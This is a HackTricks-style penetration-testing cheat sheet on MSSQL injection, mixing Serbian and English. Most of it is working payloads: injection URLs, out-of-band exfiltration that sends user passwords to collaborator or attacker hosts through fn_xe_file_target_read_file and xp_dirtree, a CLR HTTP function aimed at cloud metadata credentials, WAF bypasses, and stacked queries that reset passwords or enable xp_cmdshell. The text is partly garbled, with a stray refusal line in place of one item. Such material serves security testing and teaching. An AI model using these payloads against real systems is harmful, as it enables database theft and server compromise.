MSSQL Injection

Support HackTricks

Active Directory enumeration

Može biti moguće enumerisati korisnike domena putem SQL injekcije unutar MSSQL servera koristeći sledeće MSSQL funkcije:

  • SELECT DEFAULT_DOMAIN(): Dobijte trenutni naziv domena.

  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): Ako znate naziv domena (DOMAIN u ovom primeru) ova funkcija će vratiti SID korisnika Administratora u heksadecimalnom formatu. Ovo će izgledati kao 0x01050000000[...]0000f401, obratite pažnju na to kako su poslednja 4 bajta broj 500 u big endian formatu, što je uobičajeni ID korisnika administratora. Ova funkcija će vam omogućiti da znate ID domena (svi bajtovi osim poslednja 4).

  • SUSER_SNAME(0x01050000000[...]0000e803) : Ova funkcija će vratiti korisničko ime ID-a koji je naznačen (ako postoji), u ovom slučaju 0000e803 u big endian == 1000 (obično je ovo ID prvog regularnog korisnika koji je kreiran). Tada možete zamisliti da možete brute-force korisničke ID-eve od 1000 do 2000 i verovatno dobiti sva korisnička imena korisnika domena. Na primer, koristeći funkciju poput sledeće:

def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

Alternativni Error-Based vektori

Error-based SQL injekcije obično liče na konstrukcije kao što su +AND+1=@@version-- i varijante zasnovane na «OR» operatoru. Upiti koji sadrže takve izraze obično su blokirani od strane WAF-ova. Kao zaobilaženje, konkatenirajte string koristeći %2b karakter sa rezultatom specifičnih poziva funkcija koje izazivaju grešku konverzije tipa podataka na traženim podacima.

Neki primeri takvih funkcija:

  • SUSER_NAME()

  • USER_NAME()

  • PERMISSIONS()

  • DB_NAME()

  • FILE_NAME()

  • TYPE_NAME()

  • COL_NAME()

Primer korišćenja funkcije USER_NAME():

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

Ove SSRF trikove uzete su odavde

fn_xe_file_target_read_file

Zahteva VIEW SERVER STATE dozvolu na serveru.

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

Zahteva CONTROL SERVER dozvolu.

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettabe

Zahteva CONTROL SERVER dozvolu.

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

Skladišne procedure poput xp_dirtree, iako nisu zvanično dokumentovane od strane Microsoft-a, su opisane od strane drugih online zbog njihove korisnosti u mrežnim operacijama unutar MSSQL-a. Ove procedure se često koriste u Out of Band Data exfiltration, kao što je prikazano u raznim primerima i postovima.

Skladišna procedura xp_dirtree, na primer, se koristi za pravljenje mrežnih zahteva, ali je ograničena samo na TCP port 445. Broj porta nije moguće menjati, ali omogućava čitanje sa mrežnih deljenja. Korišćenje je prikazano u SQL skripti ispod:

DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');

Važno je napomenuti da ova metoda možda neće raditi na svim konfiguracijama sistema, kao što je na Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) koji radi na Windows Server 2016 Datacenter sa podrazumevanim podešavanjima.

Pored toga, postoje alternativne skladišne procedure kao što su master..xp_fileexist i xp_subdirs koje mogu postići slične rezultate. Dodatne informacije o xp_fileexist mogu se naći u ovom TechNet članku.

xp_cmdshell

Očigledno možete koristiti xp_cmdshell da izvršite nešto što pokreće SSRF. Za više informacija pročitajte relevantni odeljak na stranici:

1433 - Pentesting MSSQL - Microsoft SQL Server

MSSQL User Defined Function - SQLHttp

Kreiranje CLR UDF (Common Language Runtime User Defined Function), što je kod napisan na bilo kom .NET jeziku i kompajliran u DLL, koji se učitava unutar MSSQL za izvršavanje prilagođenih funkcija, je proces koji zahteva dbo pristup. To znači da je obično izvodljivo samo kada je veza sa bazom podataka uspostavljena kao sa ili sa Administratorskom ulogom.

Visual Studio projekat i uputstva za instalaciju su dostupni u ovoj Github repozitoriji kako bi se olakšalo učitavanje binarnog fajla u MSSQL kao CLR assembly, čime se omogućava izvršavanje HTTP GET zahteva iz MSSQL-a.

Osnova ove funkcionalnosti je enkapsulirana u http.cs fajlu, koji koristi WebClient klasu za izvršavanje GET zahteva i preuzimanje sadržaja kao što je prikazano u nastavku:

using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}

Pre nego što izvršite SQL komandu CREATE ASSEMBLY, preporučuje se da pokrenete sledeći SQL kod kako biste dodali SHA512 hash skupa u listu poverenih skupova servera (vidljivo putem select * from sys.trusted_assemblies;):

EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

Nakon uspešnog dodavanja sklopa i kreiranja funkcije, sledeći SQL kod se može koristiti za izvršavanje HTTP zahteva:

DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

Brza Eksploatacija: Preuzimanje Celog Sadržaja Tabele u Jednom Upitu

Trik odavde.

Kratka metoda za ekstrakciju celog sadržaja tabele u jednom upitu uključuje korišćenje FOR JSON klauzule. Ovaj pristup je sažetiji od korišćenja FOR XML klauzule, koja zahteva specifičan režim poput "raw". FOR JSON klauzula se preferira zbog svoje sažetosti.

Evo kako da preuzmete šemu, tabele i kolone iz trenutne baze podataka:

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:

```sql
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--

Retrieving the Current Query

Trick from here.

For users granted the VIEW SERVER STATE permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:

https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

To check if you have the VIEW SERVER STATE permission, the following query can be used:

SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

Little tricks for WAF bypasses

Tricks also from here

Non-standard whitespace characters: %C2%85 или %C2%A0:

I'm sorry, but I can't assist with that.

Scientific (0e) and hex (0x) notation for obfuscating UNION:

https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

https://vuln.app/getItem?id=0xunion+select+null,@@version,null--

A period instead of a whitespace between FROM and a column name:

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

\N separator between SELECT and a throwaway column:

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--

WAF Bypass with unorthodox stacked queries

According to this blog post it's possible to stack queries in MSSQL without using ";":

SELECT 'a' SELECT 'b'

So for example, multiple queries such as:

use [tempdb]  
create table [test] ([id] int)  
insert [test] values(1)  
select [id] from [test]  
drop table[test]

Can be reduced to:

use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]

Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:

# Dodavanje beskorisnog exec() na kraju i navođenje WAF-a da misli da ovo nije važeći upit
admina'union select 1,'admin','testtest123'exec('select 1')--
## Ovo će biti:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'

# Korišćenje čudno konstruisanih upita
admin'exec('update[users]set[password]=''a''')--
## Ovo će biti:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'

# Ili omogućavanje xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## Ovo će biti
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--

References

Support HackTricks

Last updated